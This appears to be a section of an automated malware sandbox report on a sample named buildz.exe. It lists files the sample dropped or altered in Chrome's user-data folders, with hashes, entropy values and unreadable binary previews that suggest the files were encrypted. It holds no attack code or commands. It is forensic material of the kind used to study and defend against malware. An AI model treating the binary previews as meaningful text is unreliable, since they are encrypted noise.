Preview:	.{.... .>..p=].2ZFB..a......5..}.......4B...Vhq.\|...H].<=.\|.A.$.o%....d&...m\.t.r@V.H.pS,.......I......S[....<-f..x.9.....}U~. .Q..B.."..A.....7ng..T.....s6..$....:.L.Z.#Jl1x).).j+..._..Z+mzb....\|..j.0.[..}...CX(....\| fK?....U.ybj..Q><@X.]...=O.......}....HJFT_..{.o.&E;0%.,.?.0.]gu2;U...#.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D36B0-970.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5185868522345296
Encrypted:	false
SSDEEP:	3072:beB8gmdRFAmgt6nvwAhSm11UL4AKZMXWW6Y+U9WK5mFuXQS:SCkEvFSm11UEASyt609WKszS
MD5:	725C919525C2B7FDEB8B7697883F4689
SHA1:	29A3278F25AF2D0066616F457D208D5E8F54CA60
SHA-256:	773BE5E2DD87027A1A26FA954C78AA5FA43EA38AD2B44393F8C40D03F35B735E
SHA-512:	C59EA9C94CF644EFB07CE076B8D6BF1203B1E318CDDB1869801552D5AEB9D3383222B50708A9964E35D43B2FB38506F03A719CFD8B1C36FD998637AC7C8DD21E
Malicious:	false
Reputation:	unknown
Preview:	...@..g..=...;..D..].HyUP!....)....E.m..s.c.......h.(p...Be...&.....Y.W.f....Zt.u.....C.t..."...m.......w....TQ...."..!.....}.C..........B..%EFv..k%x...{k..Jz}Xw.:.6.^.\|........%.[...5.E..i.h.......m...a..Y(.QK...k.....E...xo....!-3.{.i...,mgX.I..}........T.}....{......?N.. ...`..!I.y.)\|.A.d.O.......J#...07=T.GN...I.@.to...P.d..:..T...%.=u...J..:}.......-.fz...w3-..pDTi...U._..`..]g....!....GA\|._,s....J...T..q.."...X6`@I1.S.W.t.S....u~../...s..=C.{wP....e....O.O\|....._,KAA....5........J<.....r\|.Ew.a....2I..nT.r..6.H........C....+\..;\...Em..._~.'c&N&./.$\.D. .b..,....B3..e.............o..j.I.c...s..g....%....m....4.l.u7Msm..X....8.y...g...8.2{._...'.B}`'........bk..x...C..>.X../.=.3...4......!.$n....@~..)lM..r...]}...5*Z.i....h.i.v..._.1...b9c.[.z..l..%.....,.{....M.j'...\|.p.(...V^..d.+...`J.2.C......2F+F....0.Ad.c.D.a.;O\m..'..MGA{.v.....A....k=2...>...j....D.x.f..n......AX....}...M..PO?..{7;k.>.L......E..........@.....!J...h..3L......

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D45E8-1230.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5183929310933985
Encrypted:	false
SSDEEP:	3072:82tYexNEsfwS545Uk8HJMkiEkZ4h9qWORuSdNz:82N/Lr5uUkIJJibeh9HQjz
MD5:	8562E9E56544301F0E1EC349C2EEE756
SHA1:	F84B3681B7DAA9412CED593B19944B5E35E7B054
SHA-256:	6C9D76E466F34AC484E82DB3591D81FC03F44BC7E38F3D5D35ECEE3DC2E8A8CA
SHA-512:	106A367B0F123A961E5873DEE2AFDD1CFE27DE1532D5EAB0CD6186322F6E84DA3CD7C7992BBAC51E8653FFF90A8CC96FA536481114CA81E9D0607F78B3C9D85D
Malicious:	false
Reputation:	unknown
Preview:	...@...7.M^...D....m.`F....0....^......L..N.%WY..\|L.7..U;...,2s.....o..)........t!\B...r.~......FT..>.x[.y-h......=..`".h..7..=.....G\|...w..<&....r^....."A..g..\2t.M..o.I..q..AL?...9D_Y.u-....c.yxR....1.'..#.$.....?...U.Z..\|-..._...a@.q....M..m....L..b8O..4.I%Z6..:.0j .."......oY,..7.$....D.9.BT..O.7.r.D.....:.....~..k\|....M..V..^nc.._..[..7..? U;..m.k.>./...5>u^.......U.8.7"...+`+..$.6....Pn..iW....)Y.......X.B&......!..F.{.\|7..>.1#.....m..nSM.....".3..N.o.l....k{..%....).T...J.C...!RP......{..,.^.<..jsRt...b....s..G.u.^.Xyd..wO.+.U..6...z}..5.@w(.....N..eG......C.W.w.0'..l!....&...6In!.. ..?...Lc..#.6o..#5.^~b.K.X...o,H.b.:l7.y).mU.Kh.?K..y?.6._%.K...VFsb..i....tt._~..i)g.......-_..~...a...<2..x.r...l....l.F.c..,y..at~B.N4.......;.x..V..).p[.#)AR....o..t..a...\L..$i7.(......y......'..r.H...e.R...O.y.!'..s.?.W..6...q...........@...;...=....=[...a.M.GS.$f...5.K..9.......B...1."(t.._......^.c:..zK1Y4.3....}...1..>T.'..G..

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D45EC-1900.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184682254606707
Encrypted:	false
SSDEEP:	3072:qczyQ7UXkogvuS23PK/34zqsls+xaEOpvj3tUBfd2y+71D8lb:qEyIZvuD3P23tsXmjKQZcb
MD5:	4E1B05C7214F2DE548EF3511962071AA
SHA1:	D1218F3381609B527F6B5C54840DF70AF6D738F5
SHA-256:	0C7904D2348494727B00D09E61D24B78FC5BBAB954F05525874C3C89DCA63100
SHA-512:	9401FC9A8E7D22F0BD0CFC439C3081E8DFD208B0A82EF56AB3928A5496557DB50F09D9ED8224EF360F0A24F96F0BD45394761CB879ADFF26067555E8907FBA55
Malicious:	false
Reputation:	unknown
Preview:	...@..v...k5' ... .....Lh.....0x6.[.C...k.....-...Y...>N...W......v:..i....N..8..A/.7...>z../..=.Si....6.y#.[-..5.9.\|W..1IC..s..<../....@%..h(st.[...?.6.j...Vr.,a}.....7./.:\|s..U2.......0\|P.~.........C.D...E5.....dk +F.....#..K.R..n.@..9.}..%. C,e....2...i....tM$V;/...P.j.....(SQ,......evD..J,T.........=..,oO..gr..Y#...O..9......:/i.e.T..+gSZcL6...b.......Y..8}..~0AJ...Dh\..$...@..dSY(.]..G....rL...q2l\|..Ya......?...[v....tt..t.O.6v...kLz..._.+-...\|....c.!...4...c_d...oW...6..H....#.&.V....n{t.R.n..9i.\...7....)./...4pP.co\'.....b.....Sa?.\"...B=..e!.....W.....(...v...,.[..VA...,.x.2]{....."...>(=.....t..........I..:..`.Jrg...4.^...%..5.1..o.{.o.....j....8.\..^..4.N.....$.=.......=.j..F..6~...Vq...<.fQ=.......<...r..J.P....CU..O....}.3 M/.k.5.5<...wB....J.....r.K..L......hQ..~...f<....e.(..-Q5}...5~..\|n....=...../%......:C..c...B.=b_-.E.\..KV.H.r.....NW..5.D.....C.."h.....&.\*.Z.}-..N^..s..yT.:..D..#...........".d...2.t.Opf.p....f.....>.

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D45EE-1AB4.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184727157942048
Encrypted:	false
SSDEEP:	3072:caqogIQK9Jisx2HXLnMkLuZxygBAu6YONXfjI:caqoPnJ23fMynXbI
MD5:	9389A4A6C4C6E3F881BD9F9FB0509613
SHA1:	E2E3582B354570AC94A4C7414B98E161F85AA64B
SHA-256:	EE7C57F9EC461BF533D7976C545EEA59D9590B39F254D8AD41CAF9ADD77A8A77
SHA-512:	5D093ABD3773783CF3F2E8273C9A1667F53A4F44AA47D96EC955E1DDEFB8925E0FB2336E7F7969B1317EBB79B4A3A4A864E096FF2DF14B9CD2BD8E103FAED704
Malicious:	false
Reputation:	unknown
Preview:	...@...!.\....a.....-/.....<J.{......um.>..)..3x=.=>+....v...t...).V..[.}.y.S....%.....o..a...w.Y.SI.F.>....".-k.{8.O.2R.r3..i.....y#TC .r1..wRS...6vt..".&;..H&...u.....'.?..IkU.qq........F.l..m..........e6.2..}.;i..h.R.9...I..!.....wJNT.A.~.T....z..%.g6;4..t...:.@........q.........d....h\|.%...Q..I......z....u}...kE6S ...J+(..ry...#.....t(.@I.4.,c...9..........DK\...?.;.....v.....f.9gJ....e....j...%."..FD..x7....9....-..J..)Y..g}...t..6.!.6.d.....5.r.5_j..5g......%kL,.w.l..@.T...T.U.-}.=..:^..[{....8........0.>...T._...#.....6.\..........,...D.^....W..6.(..w7r...'.-Z..n..'..'..cJ..`4.w......j...}..p.7.21.....-*.K#..P{)@r.F.\..5.cM(..s>...WM..................[O9d.,......?O._...mc&.1...i<...I..J.N\e.43&\.;.....(..T....>..}..%<p... 8.s...q...kW..../....Os..N...."...s..v$...^....i.}.4; ........v.H.....m(.....-.9.pE...2.5.JP$..FI$....K.B...lA.Ib...\|3H.7.-&......w..w.C...Q2(....9FxX...oFE.=.3k\}.....t....0...:...'.u.q\|.X...QZ....=..rd$CE..i..S

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D45EF-16F4.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184724794076015
Encrypted:	false
SSDEEP:	3072:kLiSp774P45WxZkv1dZ6fhN1ZZmghX5haPJbxa2xdI4iEDoqKenWlwbYSnliwrJX:cig77SxZ4ofhNQghX5haPfvdnhD
MD5:	A8BD69BF7522B52786712683C96F79BC
SHA1:	E259A9DA1C5E735EB03A04D26EFA0EC1583E11AD
SHA-256:	CEBCFB9FF1788455A0F4C8ED3DDE94F8083BC6B05D93B6CB5F1E2CC6F6580950
SHA-512:	FD0C6FE9FB54AF482D8AFAE659C160216D6DBB31761F0565C5D16D5669A6E46C48FB4A64F1BE80631B51E8E2DB1F3C0EBF81C87E00F31E2CAA83A7B7C7E77898
Malicious:	false
Reputation:	unknown
Preview:	...@.t.....1...3c.....Lu.!"....n.{.HM...I\Y.....,..V.g<.VB...Z....<.` ..Nl...T^1..6lM.hn..Y.......)?m...+........<)..8T..VnH.....++....s....y1uZ.t.I1..nT..;2b.^.(....w.._Z._...E...W..?....w..M........9...J...h..\|..L.._............,..D...wl...e.....G...9......s.t..k5?...O..5......N.]..V..+..Yp3x>#F..irI.\B..5.....\..e.S....2..`.>....!..=..8S...D.M..~....\|.m.o....N..1..hN.G...!.......n.,.$,)...q..8"."$b.8............4.......N...}..-... ..#}.6..d...x.H...D.HX+.Qy.....anm...6E.QL........e.....^...q...~...!...u......&R....ZE.$..g;....3OP.W...!...:&.@5v.H........q..O\>W.?."U....x.....Y..z:}#i...<.^.......5....x....umc...U.y.]..:..:...R\]..jCTH&.W..{...E...5m^.&....CU.R..i.a.}...o.s..2..^....Q...6v6._.d.....a..Rh...2...9S.O.R.6...,.......9. ...t~.{.~.Oi..l.=6.9.=.Y..VTH.U..l7.4.. ..,...=x.R6$.$\1.........D...n`.X..J...H..a6.Y0#.....Qw.5`.:.q...&F.......&..\|.r.0Wf.?yc...k....z.X....z...(.U./v...D@ 4......`.1.H......<..........[..=.2..L.b_

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D45F1-18C8.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184777848650995
Encrypted:	false
SSDEEP:	3072:1u8iH2M5Ax79yXmVIyDp+7kWzE81y7BtGSTzgWAdD8DAxdCV:g8M5i7s7ks1w7BtjzJDT
MD5:	44A3622D0438E0A301483447AB6D0ADF
SHA1:	FCE89C1DB38AC3469678F234893EF863FD397E12
SHA-256:	1A85745F8010DB204B1C7A1B1AEA6F5704BC641B9DD462F8663D14522532001D
SHA-512:	3735382C0F446D44643EF0D34C5AABC8339A51CA2F52E6FAE9BD85F8CFABBE119499C876D85EBA24781096F7CA96380668FFA8C1561D6E9E3159E71C5BE9A9AE
Malicious:	false
Reputation:	unknown
Preview:	...@..D?x...?_..Q..0....Zsk>B...)/..3#.2.7..p..6.[...'...M..{..;'~V..m....j......\.........c^%R.hC.......a....s{..n.A.j....x.....\...x..n...jH...}.b.r..y.O.@.4.O.Y....Z...O4........9......w$.j...56......A.W..m..?..2._ ........j$...AB...?...I/.....-...3.U.U..{...A.........{.....b.a...$.)./.aHG&HoI.+.......Hg..i..........C..W(..8.k.c.1..p.A...>.i<./S.....>...=....h.\|sH..ko..%.`]...S>n.2..c...4Em....H..~......>.g...../+...F.$T......H)S.v(.{S...yDL..I!`....r...).[.P.L......>.Q.GH.A.s.&Ud.&o...U...[...yl.3:.$l.....B.....h.n../xa.Y=..Vq....D...x.....,V.z....\|...Wj..b.#.L.qD......P...6.....hS.....rL.Or5.@lg...+...+e(..8.q...t...x....a.~.,.l...AU...u.;.F.a.W.(f...n.B...........J)../......9.2#..Bpoo....C...y..v.l...N....)1......`..i..R....O....&..j.A.-YX.......7.z(?....<.l.u4.<.....\q....Q+.0.~..$.qI6")...~...h...at......\9.~.r.Y.H:~....B9..^l..).....M....).S.\*N[}.}.=... .. >..9.....=....-..zd..Q.....DY.g\E..P..u{...+..Q..&..n6nS6..+.._.nM

C:\Users\user\AppData\Local\Google\Chrome\User Data\BrowserMetrics\BrowserMetrics-651D45F3-1954.pma

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	4194638
Entropy (8bit):	0.5184312705075839
Encrypted:	false
SSDEEP:	3072:hEsI+NYRqlu4l52LGijBpoZYHxBAjGWeJ1U5E0krA7YLKe:h7YRS3ijBpXx7jPNpZ
MD5:	A0698537D2866587CF5985CF372976C9
SHA1:	4847DDABB22523727B1B8FA2E408DB4B06444955
SHA-256:	D7B6FB023C48513443BF181A460A8AC41EF9DF1536EA135FAB702109DAB67203
SHA-512:	E048AE896B5E9F951A6C47E04EEECF797741D0867AAE2E1A5EFB73B777A1011E2F90360C6794608BACFCE7579EEB5E95F1FBBB3C3880C5FD54EA15F5355BB304
Malicious:	false
Reputation:	unknown
Preview:	...@.H.n("g/....l...<...Q7..7....8S!..onU........]....b.......o....?)../C$...Y...Pdg.y...T...X..WS.X.0..W.EJ.Qw...Q(.H{vY.E,z.5..f.B.=..x.aGd..c.5y...g..1....%Gy...K.EK...8%K.p.....S..j..VPwI).K..x....(o..:..R..e}...=mE.<.y/%u..n.z........l.+...i..9<.x4....j.c..g&..5 ....qNUs.v.2.~...#.T.v..m..=.Q.W.#e..=KJ...P-..!~...s:..Ij.....1..."...?]..L%b..R..G...0..$..+:....u.v.!._..c..{.Cg....]:t.[".A.....Z.....'.~o.5.1.........C....3...iI.5...m..}wH.{......j..t..W@N...Q./.p..\|k.._\.!...eA..E4.J]07.!.3w...P....<n...Z..=E....hL~..P.'q~.i..K.....9&.J'.}.M..r...I].o......P....T........6(z)^.vA<...j....L......%.Fd...0.5E.>T.h.7...Y..Q....R..$8-MyDv..%.H....K....6..s...].N.<....~N.#.~.NX>......Po=..U>B....G.@?..6%~.?.8...P..._.e.?G./.r.d.=.5.H.p.&....=a@%....X.$...........R.Ln\|.....B........ 8.._...8.s........A......XWhX.....q..9.$9.......R...&'\.h...LI...,$.I4v.....N8.-.E..n..v.oqp.E.....Fx..6+.6.....X.x9P#.....M....!.Vx.\j.KO.I...a.:!_....R.!..v.....~

C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.330649441426459
Encrypted:	false
SSDEEP:	6:+Fu3Rm35UaRTGj6SQzkZ6xe3qqRqclMCVVUR9VndM0/toImrDthFqhHtteAWyc3X:+O0vsQve3qq++2R9jM0FYntTseA1+ciD
MD5:	1E4EC27B1C894B86B615775FDF06220C
SHA1:	AF8361CF0309ED9F1ABCA5A33A27684C464C8C28
SHA-256:	A5D9A70E14796C5EDE1716BE60E1DA6A5E217989E34F18865AF88EEC055604D7
SHA-512:	43632CC32B4193B7417405D91D45103C1717144F329155DA6963F20D20F8696F889886FCB3F63FF182F0982BA89F5505108454A0666F1446503EB49C748265BF
Malicious:	false
Reputation:	unknown
Preview:	sdPC...S......"R=...Zly.N.e..5..=...:. ......O..11,FDV..3.....@.-Iv.].......\H.G..?.Y.>..V.k..t+)....K4.l.p>M%3..".OG.".j@)..6..8.0....H.Ru\Q.'O.jP.O....rP...........$.t...o...2.g...y~....0!.J.Lo....x"..Z....=.a.4@....zm..j..8h..mW.xL.....`......w..6..9Q.{..0..!.......XmN.X..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\be\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	3441
Entropy (8bit):	7.943764000639744
Encrypted:	false
SSDEEP:	96:JU2jOus9WwilJJAue8udjo/El+Q35O3hOk9Ica:S2jzskEQudjF+aoOkW/
MD5:	C5810E5A6D819A200324510470CC7F08
SHA1:	A5F9E90869471DCAECFF54C4D3BBDE52412073E1
SHA-256:	56FD0B3334B58DDE8246BEC8CE8C5BF41D45549622861E5DEB8AAAD7CFD84EF1
SHA-512:	BF59E046D6BD60F38C6C393A705B3D8C0E1982973C91F4BD458F16FBC00C00D689D9CC45826132FD27533E04758278CE502C20C263746105EC3DC9AE26012400
Malicious:	false
Reputation:	unknown
Preview:	{"cretG.^`-..'......k.F....6{\...;...;.lp.. ..k.....gm.J%.........#....Lv...C..gF@tJ..t....h.Z....u.X..;....j...$.<#...L.yu8D.jV...C.,.E.f.c......._@...,..=..`...../..\|...\|s.e.P&.F...C:@D..fu..&.......M.sXoj..tx.7._...R....=i.3...m....^..t........d..F9..}U..cV.H.8G.V.F......X..%k./2..Q/.(.G.T......cUto..m.......9GQ..Xwe......_h./5...8...V..........q.#.D..$..5..2.....+.&.\|....>+.U.My.;c.b.].O7M_.lF...DR...DB.......C-.1.\W..;X.......9...s'.l.f.~{..i-..\.{,x.{...}..E..l...V..0...GTi/.).......]H..PA...T....MP (.L.C.e...)........w..PU....1(......'3.;j{..TO^.\>..u.......b.....k..L..ABRE......(....f.[%JUP..i.Q.EL.:.c'...U..Y~%....G../.AR....C..b......HXn....x6..Z..#=..?.4w.4r.NV..;.l........J.e.g.0..>V....p..3..X..XM...f....[.4.M.......1.?.}pj..W. ..z..6aq'..R.<p.....h.9.@../.gW/_..@.n.U.p4.1.J..kT3...+'6......W.}..L.U.U..w..............NglO..Y....."<.p..(e....jE...-$.p^f..!"s.S.q.2Nk4.....s^..Md....}..r..........n..k...>.hgI.......3-.G...+..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bg\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.903286974133065
Encrypted:	false
SSDEEP:	48:aXXw5wfFCmUeoq6QJVoFKD4MPoG/boavBk7Y5tbD:Xw9Zoq6qnnPoG/boap5tX
MD5:	D157E5905DC067A81775AEED1825B27C
SHA1:	2F9BA3075E896D2B6FF6DAC4B6F718C8B6306CD7
SHA-256:	30FAEFC13E08B3E0B9F60385C9565F2A8E16C0636325655C0C8F4240C1112F13
SHA-512:	25AF7B675C59EECE39261CD732D497570D76377B6DF7682BAD3A8BB8B8CA3F1AF594E6CFD78BA9240CB5187D2AF2CE87D00131B98FEBE5A1C7603F01CD6593E5
Malicious:	false
Reputation:	unknown
Preview:	{.. ?(...0......<.D."....>.K..T.q.e$`.....C....&...]o@k$.6.csV.$m..r.nr[....Fp..y8....W...(...,....vV.J....<.q.s..7I.^.u........Fg.C..;.d..lG..F.b........G..v~:`.....$.EM.kd....l..K..4...E1..^..3.Y.r<.`H4....~P.....2J.E..Zw.&..!.);...c.....z.J ......#...'xe...=[R........V.. .\|.B..%k..<,(.\.Y r..].b\|..W.3.....A.!..B./P......&..j..R.e.......cG\|.uk.;1U...&.e_.....+...?%..q..a..D..q.YY}(....7w.2...o..../...H{....#.e.Q.....zH$....C..K.~..t..4v...A..y.sN.:..j..,..B..?.T...6.".i0..>.@...7.j.7.c.&1k.E5BrD...2..3....b.)..K..b.-. ].q...>t.Y........R..Q.=.e.`.L..d.@R...4^..V.nb...8}l.S........g6.D..;...).5(..ys....:....!..!..!...g...7>:....'%.h.3..../5....o...T=......p...Zp...........]%...[bM\|.E.`y0l..tV...Y.f........&.[..Bn..\|a...#d....T.M....... 1..&,(8..C@.FY...0....N?...r...L..vv.h..LssQ...K(..8.v?.L?Q@..].,..J.e.G.p...e%......l./...Zob.n.f..~...k.D.k"u._......K....n..-L..=..}.\."i=.Z@g.;........)]...ER...m....Tf..K.\.m$..... {a..c.i...P<.L.k.*......8

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\bn\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	2097
Entropy (8bit):	7.9003742766803615
Encrypted:	false
SSDEEP:	48:bZRFFCtnGebWxc8vcXlHCPJlw9KIaxaYF1tESliD:WtnGeP8vcXhCPTAKT9bplq
MD5:	E064653B690443BBE4415D8CB4B9EA47
SHA1:	7D3260E4E92D89825332722FE0A6D27ED53D83E4
SHA-256:	9F4A94C9CDA08EA939FB11CD999723681B6C39405B4623D124E8DB2C5719A089
SHA-512:	4533C5FEB97A3FCAD4B9D230984AE2E9C7A472784370E85908C653E0F71A29FCD0B9254BFA8A1D75133ADDBD6491019D05C1CBC6A7A828358E0108B3A6C9C4DC
Malicious:	false
Reputation:	unknown
Preview:	{.. ..A".....\u.l.X.N.C.O...Mmb..2G.3..k)....KT.`..E.._W..;J..>...0.n1\|U......n.I..jw.R.......M...&..G6%......}...Qr\|&..{6.N.o&....7...]...r......Ry..!!..6...k..v..w...W....Yp;.wi.D.....Y..5.N.Z.>...".a.j.Nx...K"....]f...\|3...>.e>.........3....lv..>.....8.....yu...E^+.}<...@.. o.......P...0.;}v.4.K...`.m."..N.F..W$c..."....v.y.^G...)\...nnv.".........&..\|....x.n...7...5".@......V...C.}...[{.Jy.zG.....u..#...t..Qr R...X.H.!b.A.>.._+......s....s}M/[...l.....3#.n2.r...o.....:`d.nI...!.efzd...,/.....a...$}.u.............."..x..M r...H..Ub..M....-.;..@.}.o.Qz.;ki.....`...B....k.?......{.r...a......6...%...(9./...A..H...0.....H.F...Y....Q..F....9....fcL...^...3"nA....^s......$G.AR.!.....X..5]...{2+Nm.c!~.....#i.P.Y!..`.){.d.ng.p.....S.. &.z.. _%..Mm..c.A.....V..\.~..(...I;(......"Tc...M........rZ.w.h...........F.,.x;..$1..".....Y^....?.3..W..Z.k...>...T..P..9i......P..<0..i._)...)h..S.e.....R>..pQ.s.l3........w=;.},:.H"oJ2....M..Z.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\ca\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1264
Entropy (8bit):	7.840044653287292
Encrypted:	false
SSDEEP:	24:S7k+ocZ2rDo9eZUsobx/D2K14h4AgifGaOsXqLLcsXGGCbD:S7oo95vbR2K14wifHDXucxD
MD5:	2260E5F6A7ED155AEDD580FE8F72EA4E
SHA1:	25D7D563DE2703520E630BB67E88968D99E6583D
SHA-256:	6B08EA9BA0D92E3FA43816C852DF235F237504635A967F923F7D09328971C714
SHA-512:	D2176C3EC3E92FE1C1643FC209F547C4C6A7F0CC24E5D3EAD159F3FCCC31EAA46930BABD3DFE5C56322851BE764BEC0266F4141BFCF6C3FEEA1170C37CEB3493
Malicious:	false
Reputation:	unknown
Preview:	{.. .,k^..fT..4......z.....xSn3......A...3.,.ou..AF..%....".VSr..(...gm.r..O?....-...H...U_.H0....s$..?..Q....?G_E".....m....[#f+.TPKFL.R5.G.G [;C(.;m...=.74...+x...I..D6 Wz;M....._....#....<.K...^..IeY\W..Sz.........v.@6.....[jA....F.C.0w.-K.57Q....ga....2..'.d....9'..............sc..DtyA....]....A.<..n...r...!..T..D...b.}.\q..\FX.....6."..j;....g.X..<.4..w..Q(%..hg#./..}J...C......kv...M.L.../J......9Tt.4.H...6,jT..Q...E%!P... .f.[.,....5.Y.F.F..>.E...........k...F.Z....a.].......h...Hu.=a3....<...........z.>..=.. ._...N.67...5...,mj.\|.dO.P.+.dx....*..EpV.....I.QBi..@B%!.6.+/,..;.v..d...H=....1.<."...#.Q#......-..r,F.s/.....<B....H...........]-.....{v.R..a........S~,...I,t..V...!D.v....8&.7V..X..Nlo..+.1]!.....i.J..H\)L..x.&zr......p.8..ug.C.s.).5K..BM..-..~N.[...x...4.#o&3n....=......FB.P.9...m.M..im.N.?.....@..b.....?.....I.H...^..Lk.......dQ.C.....w%t...ze.@.B6.\....\..\...{D.'Q.....I.\|.=\.W.T...i..oI.$...i.c....R\|.x5Ik...

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cs\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1247
Entropy (8bit):	7.8780630315189955
Encrypted:	false
SSDEEP:	24:l1DEaKyEbLvtvuWdAkSlyi80tZLuivvXoiEbcJUCjxpbK+YvJClfmKfwSYjTbD:PBDEbRRuQitxtXObcJ9Np2RvJCgKFcHD
MD5:	6BD76E112B34BD5A60D03B3A3CEAB8C9
SHA1:	79F32D3A84F3C16457CBBAA1557560AFB1E714B5
SHA-256:	566D12F1221301FC171D3DBEA9E32D85C5D5E77F51DDB5468F6A0A261DA265E6
SHA-512:	3B91B7DD5349983D8FCB53018D7BB94EFD7692BC4086C6C3BFBD6FBAC83F6CD5A595E6F25D28ABB156DF8AF1B127CBA5D910A0C5469C30D8B9E90635782E46DB
Malicious:	false
Reputation:	unknown
Preview:	{.. ..,......... ._.h......u....W#...+Q[.4....T...[<W.\|v.x.......d..n....-L?...S..c....B.J.................%#..q."x8.u...?.3..;....7W..dT.\.1.~.9..V._..g.@.. ..G%..w.).4N.{.....V....n.2..........Y.".$.us.XS,_....5M.......h@..s..7..;.8]IGB%....<..m.....1...7..3.......V....2$#..RoH.....!..J..\.}.8.ZQ.........k..Q].H.S.Z....N./.V.T.U.%..C\.i..C.7.>.e...<.JJ....>4.,....:..:WXggs.K...#..<<..r....G.jX....q..0I.S...1A..$JI........../.u.zP.5...b.-../NZ.n.1..l....[..c<.....[._..<k.B..m`.`.#t.g9]..X.....{..,p\|.z.......H.=,..\|..r...(f$wa06..T..@..<`.z.d...'fvWP...n,..f.aJY.....,Q^.c.....m....c.y..@..~"E.....).i.p....G)../..7.\.<.{'..........-.=...9.s....kN..X ...[.97.r.R.]&C..m.RO...q...Y....pM..............g.M..x..(.....#.!.....=..w.U{.....c..c.&eX.U.L.Ol..1.->...1..@z-X\.\\|^.".U...q..........8:......_.\|N.\p..!.;{y....vcd....F.<;_.A..!....+aH5.`nd.s.....Wa...Xn.;...8..3..Xpg...cs...Q.u...'^..h....P.G.]..&{..~F.d.$...9i..kDj..w.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_locales\cy\messages.json

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1140
Entropy (8bit):	7.82059451635859
Encrypted:	false
SSDEEP:	24:YPKGpAe6fqiem9ZhdG5OFhkkrYeqKfRPiGVpfR3UNkpObD:YPKGpD6fR9ZvG5O/YeqqKGVvdpsD
MD5:	CEB108289AB258C372D6B2F2086910A4
SHA1:	6D7E4B33BCC4DFEECEBF2A0CAE69B7E8DCB0E5BF
SHA-256:	32685B7436E5B3391D8E1699B2B576D5722996F8C04A2E3E6C6DDF8F8C773AE5
SHA-512:	E8BD03D6CE860CD593966633E554DD959846C7215F44A6718F1B4CFB106864C1FE5A2835720A65E74FAC634FB9A48C985A74AF04D4AFE3B749BA3F684F6EC9BC
Malicious:	false
Reputation:	unknown
Preview:	{"cre...`.P...X.V..h..mO.n".g.68.....j.&4.~.&%B.x...b.5.O...U..fo..z4.......?.QJ..C \|..p....K7......y..5.......;..h.J2..E.x.c..6`.wT....=@.8...o6FK..I..#p.....'...x....}0.`yq.#vei.`.........RO...@Es'b.zj.....Zn...x.gs.."!.D..b#Fo..X\|[...qf..DZE......:.....n....U..9.@....cSk./.....(.....<...z\._......:...`.GIp.....%...V....[$.\.v...3..dKF4;IHL.9.I..............._..Az.u......+..0\.>..h.i.....ke...y.a[.ap..@.....G...w.`v.......&....+.q...g....1....\|..c......V..e.....M.......;....(.:~.......W....t9........q_.CZI..d.y.\|..fn5.z...........S....rP{...hE.7t.".i.&P\|T...b....g.r.....X.!A.l...[&...@......-..GyN..yqb..&-.Z.h.2....I....Z....c...{Q......}......_.?.Y...U...9...E..QE......,.c0/........~g....I.-..W.P.gl....+QIn..d...1../q.~....o..`.>a.."......I^!.2.}\THF......._.)...#2F..N..j..Q..PG...7...sYM..Z.............@q5.&!.....~(yV......}8V.Q..K(......fpMT..(6.q...=.h.]...!.KT.E.h.pQ.....K.t.sC,.